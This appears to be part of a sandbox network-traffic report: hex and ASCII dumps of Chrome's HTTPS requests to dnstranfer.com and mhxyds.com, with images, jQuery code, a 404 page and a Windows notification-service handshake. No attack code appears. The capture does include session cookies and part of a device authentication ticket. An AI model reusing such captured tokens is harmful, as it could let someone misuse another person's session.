Data Ascii: ExifII*Ducky</http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xm
pmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF 
xm

2022-08-11 03:43:11 UTC 14581 IN Data Raw: 46 af 23 95 1a 97 8a 1d d2 e5 e5 87 8d cb 4c ab ec 18 9d a9 bf 4f 1d 97 9d db fa 8a 23 e4 f6 fa 19 ac 77 41 91 
64 6a b5 ae 32 77 79 af 62 b3 fd e1 79 f1 d8 62 a7 ea 3c fc 9e df 42 95 94 c4 64 b1 76 56 bd e8 96 37 fe 6d 7c 95 69 cd 
db a2 61 e8 f8 de 46 bb 3d 3d be a6 a9 af 5a 4b 76 d1 9f 40 5f b7 12 88 9c 43 d5 fb 9f fe 0d 6f eb ff 00 bb 69 de e0 fa 3c 
0f 9e 99 9b af cb d5 54 f0 78 8d eb d6 3b 5c 2c cc 4c 3e 7a ce 7f 1b c8 fe f3 2f da 38 f3 bb bf 13 e8 dc 48 ff 00 f9 a3 f6 3e 
86 8d 7a 0d 4f 53 98 f4 b1 1d 1f 3a f5 85 27 bd 3b b6 aa 61 2b 3e a4 d2 40 f7 d9 6b 5d 24 6e 73 5d a7 4b 8d 1e 4d a6 1d 
1f 11 a6 36 59 d2 ee fe d4 f6 b6 ad 49 ac 4a e9 a6 5d 7a a4 7a ea 72 e8 91 c6 7e 3e de e8 62 f2 1a a2 bb 67 0d dd da bc 
36 d6 53 8f ec d2 fd 9b 87 22 7a 30 f0 a2 7e 
Data Ascii: F#LO#wAdj2wybyb<BdvV7m|iaF==ZKv@_Coi<Tx;\,L>z/8H>zOS:';a+>@k]$ns]KM6YIJ]zzr~>bg6S"z0~

2022-08-11 03:43:11 UTC 14597 IN Data Raw: 8e 23 2f 6f 1b 61 d3 d4 54 73 d5 34 3b 5a 13 11 86 4e 57 1b e2 53 12 d9 8f 72 64 9b 94 5c 8e a4 5b 2a 9a 38 
2a 74 74 93 df 2c 53 e3 e3 e1 61 a9 7f 25 7f 23 3f 6b 72 65 91 fe 4f 9a 9e d5 a4 c6 c5 b5 70 2b 11 d1 92 6c dd f9 a8 26 
3e 59 3b 48 51 5a ad 55 e9 38 a5 b6 4a 75 f1 2b 5b 67 e5 6d 63 f7 4e 63 1f 47 d1 6b 3d a9 13 7c 6d d4 e4 d6 2b b1 82 
de 3f 4d a7 39 fb 5c f7 5d b8 e8 9f 12 c8 f5 8d 5c e7 b9 9c 7a 2a e1 37 6c e9 e3 52 3e 46 ce 27 39 91 c6 f6 9e 89 27 06 
cb d6 6b ba 4d 1f 12 61 8b 93 c1 a5 a7 d1 ab 1d 8b 0d b4 96 b8 ea 99 24 ed 38 af 85 da b5 0e e6 7b 71 eb 14 c3 a8 dd 
d1 90 4c 85 9b ba 63 ed 6c c7 d9 49 c8 ed 25 a6 ed 0d 9e 3e 23 54 39 55 ac 49 0d 96 4f 1a 74 e2 7b 5e 85 66 5d 1d fa a3 
b2 21 d1 ca ee 3c 96 51 8c 8a db 9b d8 b1 75 35 8c 4d 24 f7 b4 
Data Ascii: #/oaTs4;ZNWSrd\[*8*tt,Sa%#?kreOp+l&>Y;HQZU8Ju+[gmcNcGk=|m+?M9\]\z*7lR>F'9'kMa$8{qLclI%>#
T9UIOt{^f]!<Qu5M$

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

268 192.168.11.20 62509 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:11 UTC 14564 OUT GET /lipgupiao/assets/images/icon-icon-close@2x.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

269 47.243.100.207 443 192.168.11.20 62509 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:11 UTC 14607 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:11 GMT
etag: "205-62d8e1a6-202ef2;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 517
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:11 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close
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2022-08-11 03:43:11 UTC 14607 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2c 08 03 00 00 00 2d af 7a 0e 00 00 
00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 33 50 4c 54 45 47 70 4c ff ff ff 
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff cf d1 8a 61 00 00 00 11 74 52 4e 53 
00 81 65 90 39 23 d4 e7 de 74 9d 0b af c7 52 4d 15 6e d3 e9 e8 00 00 01 53 49 44 41 54 48 c7 95 55 d9 ba 86 20 08 cc 
15 c9 a5 de ff 69 0f ed 62 fa 77 f0 ae be 11 87 61 80 69 6a 8e 45 93 72 08 39 19 b4 d3 c7 b1 c6 43 75 bc f9 75 c3 26 82 
64 55 ac 8b d1 d9 a2 32 7d a6 d1 05 37 53 38 74 ec 17 d2 63 b3 eb 86 f6 10 30 b6 7f 23 06 f0 9d 07 34 85 59 7b 61 56 7a 
54 b7 3f 
Data Ascii: PNGIHDR.,-zgAMAasRGB3PLTEGpLatRNSe9#tRMnSIDATHU ibwaijEr9Cuu&dU2}7S8tc0#4Y{aVzT?

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

27 118.27.105.118 443 192.168.11.20 58955 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 360 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: application/javascript
Content-Length: 96381
Last-Modified: Tue, 03 Mar 2020 04:15:00 GMT
Connection: close
Vary: Accept-Encoding
ETag: "5e5dd9c4-1787d"
Expires: Thu, 11 Aug 2022 15:42:41 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:41 UTC 361 IN Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 31 2e 30 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 34 20 
6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 
65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 
6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 
6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 
6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 
75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 
Data Ascii: /*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof 
module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Er
ror("jQuery requires a win

2022-08-11 03:42:41 UTC 376 IN Data Raw: 63 3d 5b 5d 2c 64 3d 67 28 61 2e 72 65 70 6c 61 63 65 28 50 2c 22 24 31 22 29 29 3b 72 65 74 75 72 6e 20 
64 5b 73 5d 3f 66 62 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 65 29 7b 76 61 72 20 66 2c 67 3d 64 28 61 2c 6e 
75 6c 6c 2c 65 2c 5b 5d 29 2c 68 3d 61 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 68 2d 2d 29 28 66 3d 67 5b 68 5d 29 2
6 26 28 61 5b 68 5d 3d 21 28 62 5b 68 5d 3d 66 29 29 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 65 2c 66 29 7b 72 65 
74 75 72 6e 20 62 5b 30 5d 3d 61 2c 64 28 62 2c 6e 75 6c 6c 2c 66 2c 63 29 2c 21 63 2e 70 6f 70 28 29 7d 7d 29 2c 68 
61 73 3a 66 62 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 
74 75 72 6e 20 64 62 28 61 2c 62 29 2e 6c 65 6e 67 74 68 3e 30 7d 7d 29 2c 
Data Ascii: c=[],d=g(a.replace(P,"$1"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&
(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).lengt
h>0}}),

2022-08-11 03:42:41 UTC 394 IN Data Raw: 2c 6e 75 6c 6c 3d 3d 66 26 26 28 66 3d 67 5b 6e 2e 63 61 6d 65 6c 43 61 73 65 28 62 29 5d 29 29 3a 66 3d 
67 2c 66 0a 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 28 61 2c 62 2c 63 29 7b 69 66 28 6e 2e 61 63 63 65 70 74 44 61 74 61 
28 61 29 29 7b 76 61 72 20 64 2c 65 2c 66 3d 61 2e 6e 6f 64 65 54 79 70 65 2c 67 3d 66 3f 6e 2e 63 61 63 68 65 3a 61 2
c 68 3d 66 3f 61 5b 6e 2e 65 78 70 61 6e 64 6f 5d 3a 6e 2e 65 78 70 61 6e 64 6f 3b 69 66 28 67 5b 68 5d 29 7b 69 66 28 
62 26 26 28 64 3d 63 3f 67 5b 68 5d 3a 67 5b 68 5d 2e 64 61 74 61 29 29 7b 6e 2e 69 73 41 72 72 61 79 28 62 29 3f 62 
3d 62 2e 63 6f 6e 63 61 74 28 6e 2e 6d 61 70 28 62 2c 6e 2e 63 61 6d 65 6c 43 61 73 65 29 29 3a 62 20 69 6e 20 64 3f 
62 3d 5b 62 5d 3a 28 62 3d 6e 2e 63 61 6d 65 6c 43 61 73 65 28 62 29 2c 
Data Ascii: ,null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cac
he:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in 
d?b=[b]:(b=n.camelCase(b),

2022-08-11 03:42:41 UTC 410 IN Data Raw: 65 63 74 6f 72 41 6c 6c 21 3d 3d 4c 3f 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 62 7c 7c 22 
2a 22 29 3a 76 6f 69 64 20 30 3b 69 66 28 21 66 29 66 6f 72 28 66 3d 5b 5d 2c 63 3d 61 2e 63 68 69 6c 64 4e 6f 64 65 73 
7c 7c 61 3b 6e 75 6c 6c 21 3d 28 64 3d 63 5b 65 5d 29 3b 65 2b 2b 29 21 62 7c 7c 6e 2e 6e 6f 64 65 4e 61 6d 65 28 64 
2c 62 29 3f 66 2e 70 75 73 68 28 64 29 3a 6e 2e 6d 65 72 67 65 28 66 2c 76 62 28 64 2c 62 29 29 3b 72 65 74 75 72 6e 
20 76 6f 69 64 20 30 3d 3d 3d 62 7c 7c 62 26 26 6e 2e 6e 6f 64 65 4e 61 6d 65 28 61 2c 62 29 3f 6e 2e 6d 65 72 67 65 28 
5b 61 5d 2c 66 29 3a 66 7d 66 75 6e 63 74 69 6f 6e 20 77 62 28 61 29 7b 58 2e 74 65 73 74 28 61 2e 74 79 70 65 29 26 
26 28 61 2e 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 3d 61 2e 63 
Data Ascii: ectorAll!==L?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nod
eName(d,b)?f.push(d):n.merge(f,vb(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){
X.test(a.type)&&(a.defaultChecked=a.c

2022-08-11 03:42:41 UTC 426 IN Data Raw: 67 5d 28 61 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 2a 61 2c 30 2c 31 2c 74 68 69 
73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 29 3a 61 2c 74 68 69 73 2e 6e 6f 77 3d 28 74 68 69 73 2e 65 6e 64 
2d 74 68 69 73 2e 73 74 61 72 74 29 2a 62 2b 74 68 69 73 2e 73 74 61 72 74 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 
73 74 65 70 26 26 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 74 65 70 2e 63 61 6c 6c 28 74 68 69 73 2e 65 6c 65 6d 2c 
74 68 69 73 2e 6e 6f 77 2c 74 68 69 73 29 2c 63 26 26 63 2e 73 65 74 3f 63 2e 73 65 74 28 74 68 69 73 29 3a 24 62 2e 7
0 72 6f 70 48 6f 6f 6b 73 2e 5f 64 65 66 61 75 6c 74 2e 73 65 74 28 74 68 69 73 29 2c 74 68 69 73 7d 7d 2c 24 62 2e 70 7
2 6f 74 6f 74 79 70 65 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 
Data Ascii: g](a,this.options.duration*a,0,1,this.options.duration):a,this.now=(this.end-this.start)*b+this.start,this.options.ste
p&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):$b.propHooks._default.set(this),this}},$b.protot
ype.init.prototyp
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2022-08-11 03:42:41 UTC 442 IN Data Raw: 2a 22 29 3b 76 61 72 20 64 2c 65 3d 30 2c 66 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 6d 61 74 63 
68 28 46 29 7c 7c 5b 5d 3b 69 66 28 6e 2e 69 73 46 75 6e 63 74 69 6f 6e 28 63 29 29 77 68 69 6c 65 28 64 3d 66 5b 65 
2b 2b 5d 29 22 2b 22 3d 3d 3d 64 2e 63 68 61 72 41 74 28 30 29 3f 28 64 3d 64 2e 73 6c 69 63 65 28 31 29 7c 7c 22 2a 
22 2c 28 61 5b 64 5d 3d 61 5b 64 5d 7c 7c 5b 5d 29 2e 75 6e 73 68 69 66 74 28 63 29 29 3a 28 61 5b 64 5d 3d 61 5b 64 
5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 63 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4e 63 28 61 2c 62 2c 63 2c 64 29 7b 76 61 
72 20 65 3d 7b 7d 2c 66 3d 61 3d 3d 3d 4a 63 3b 66 75 6e 63 74 69 6f 6e 20 67 28 68 29 7b 76 61 72 20 69 3b 72 65 74 
75 72 6e 20 65 5b 68 5d 3d 21 30 2c 6e 2e 65 61 63 68 28 61 5b 68 5d 7c 
Data Ascii: *");var d,e=0,f=b.toLowerCase().match(F)||[];if(n.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(
1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nc(a,b,c,d){var e={},f=a===Jc;function g(h){var i;return e[h
]=!0,n.each(a[h]|

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

270 192.168.11.20 62510 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:12 UTC 14608 OUT GET /lipgupiao/assets/images/btn-bg.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

271 192.168.11.20 62511 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:12 UTC 14608 OUT GET /static/image/img-andriod-tips@2x.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

272 47.243.100.207 443 192.168.11.20 62510 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:12 UTC 14608 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:12 GMT
etag: "22c6-62f0cdd1-202ef9;;;"
last-modified: Mon, 08 Aug 2022 08:48:17 GMT
content-type: image/png
content-length: 8902
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:12 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:12 UTC 14609 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 04 00 00 00 66 08 06 00 00 00 2d 43 ef ef 00 00 00 
09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 
00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 22 4c 49 44 41 54 78 da ec 5d 4f a8 35 c9 55 
ff 9d be f7 bd be f3 e2 7c f3 f2 a1 01 67 16 c2 4c 30 60 42 c0 8d 59 84 2f b8 89 8a 90 9d 0b 21 13 21 0b 49 5c b8 70 1f 31 
0b 71 a1 0b 17 12 c5 95 43 d0 a0 10 02 c1 e0 48 18 10 9d 80 33 88 90 c8 20 93 c0 28 61 4c 32 61 26 2f f7 bd 8f 79 73 fb 
9b ef f5 71 d1 d5 dd a7 aa 4e 55 57 75 f7 bd ef bd 6f ba 1e 8f 7b 6f ff a9 ae ae aa 73 ea 77 7e 75 ea 14 31 33 96 b4 a4 25 
2d 09 00 8a a5 0a 96 b4 a4 25 2d 0a 61 49 4b 5a d2 a2 
Data Ascii: PNGIHDRf-CpHYs cHRMz%u0`:o_F"LIDATx]O5U|gL0`BY/!!I\p1qCH3 (aL2a&/ysqNUWuo{osw~u13%-%-aIKZ

Session ID Source IP Source Port Destination IP
Destination
Port

Process

273 47.243.100.207 443 192.168.11.20 62511 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:12 UTC 14617 IN HTTP/1.1 404 Not Found
content-type: text/html
cache-control: private, no-cache, max-age=0
pragma: no-cache
content-length: 1236
date: Thu, 11 Aug 2022 03:43:12 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:12 UTC 14618 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 
31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 
6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 
3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 
41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 
Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, 
initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 1
4px/20px Arial, Helvetica, san

Session ID Source IP Source Port Destination IP
Destination
Port

Process

274 192.168.11.20 64158 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:19 UTC 14619 OUT GET /about.html HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

275 192.168.11.20 59297 20.199.120.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:20 UTC 14620 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 37 0d 0a 4d 53 2d 43 56 3a 20 30 63 4a 4a 31 65 65 74 5a 6b 61 62 73 
38 4e 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 61 62 30 39 30 62 37 62 34 66 36 35 30 31 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 317MS-CV: 0cJJ1eetZkabs8NE.1Context: 6bab090b7b4f6501

2022-08-11 03:43:20 UTC 14620 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 32 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 33 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 54 6f 20 42 65 20 46 69 6c 6c 65 64 20 42 79 20 4f 2e 
45 2e 4d 2e 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 
6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19042</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>3</deviceType><deviceName>To Be Filled By 
O.E.M.</deviceName><followRetry>true</followRetry></agent></co
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2022-08-11 03:43:20 UTC 14620 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 30 63 4a 4a 31 65 
65 74 5a 6b 61 62 73 38 4e 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 61 62 30 39 30 62 37 62 34 66 36 35 30 31 
0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 
41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 44 53 66 36 6f 67 
44 43 38 31 36 32 37 31 67 75 41 36 46 39 71 56 64 6e 65 76 6b 62 59 2b 35 73 4a 45 7a 2f 63 63 4b 57 67 6e 58 4e 70 
2b 43 37 4f 7a 4a 61 6a 34 70 65 4a 6d 2f 65 6f 43 7a 79 41 75 34 35 55 4e 4a 48 65 6f 46 6a 70 77 4c 4b 72 79 72 53 71 
69 69 49 54 79 56 79 67 33 4c 52 6c 4d 54 79 74 59 55 4e 30 61 4f 71 
Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 0cJJ1eetZkabs8NE.2Context: 6bab090b7b4f6501<device><compact-
ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXDSf6ogDC816271guA6F9qVdnevkbY+5sJEz/ccK
WgnXNp+C7OzJaj4peJm/eoCzyAu45UNJHeoFjpwLKryrSqiiITyVyg3LRlMTytYUN0aOq

2022-08-11 03:43:20 UTC 14621 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 30 63 4a 4a 31 65 65 74 5a 6b 61 
62 73 38 4e 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 61 62 30 39 30 62 37 62 34 66 36 35 30 31 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 56MS-CV: 0cJJ1eetZkabs8NE.3Context: 6bab090b7b4f6501

2022-08-11 03:43:20 UTC 14622 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-08-11 03:43:20 UTC 14622 IN Data Raw: 4d 53 2d 43 56 3a 20 4d 34 59 51 74 78 4c 4f 63 45 69 4d 4e 6c 48 52 38 71 68 66 4d 41 2e 30 0d 0a 0d 0a 
50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: M4YQtxLOcEiMNlHR8qhfMA.0Payload parsing failed.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

276 192.168.11.20 54406 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:20 UTC 14621 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:43:20 UTC 14622 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 14 6f 70 74 69 6d 69 7a 61 74 69 6f 6e 67 75 69 64 65 2d 70 61 0a 67 6f 
6f 67 6c 65 61 70 69 73 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: optimizationguide-pagoogleapiscom)@<

Session ID Source IP Source Port Destination IP
Destination
Port

Process

